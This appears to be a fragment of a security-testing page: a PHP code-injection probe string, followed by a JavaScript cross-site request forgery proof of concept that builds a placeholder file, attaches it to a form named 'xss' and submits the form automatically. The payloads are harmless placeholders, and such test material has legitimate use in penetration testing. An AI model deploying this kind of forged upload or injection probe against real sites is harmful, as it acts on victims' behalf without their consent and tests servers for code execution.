a<?php echo"hahahhahahahahhaha"; ?>a

function launch(){ const dT = new DataTransfer(); const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" ); dT.items.add( file ); document.xss[0].files = dT.files; document.xss.submit() } Submit Request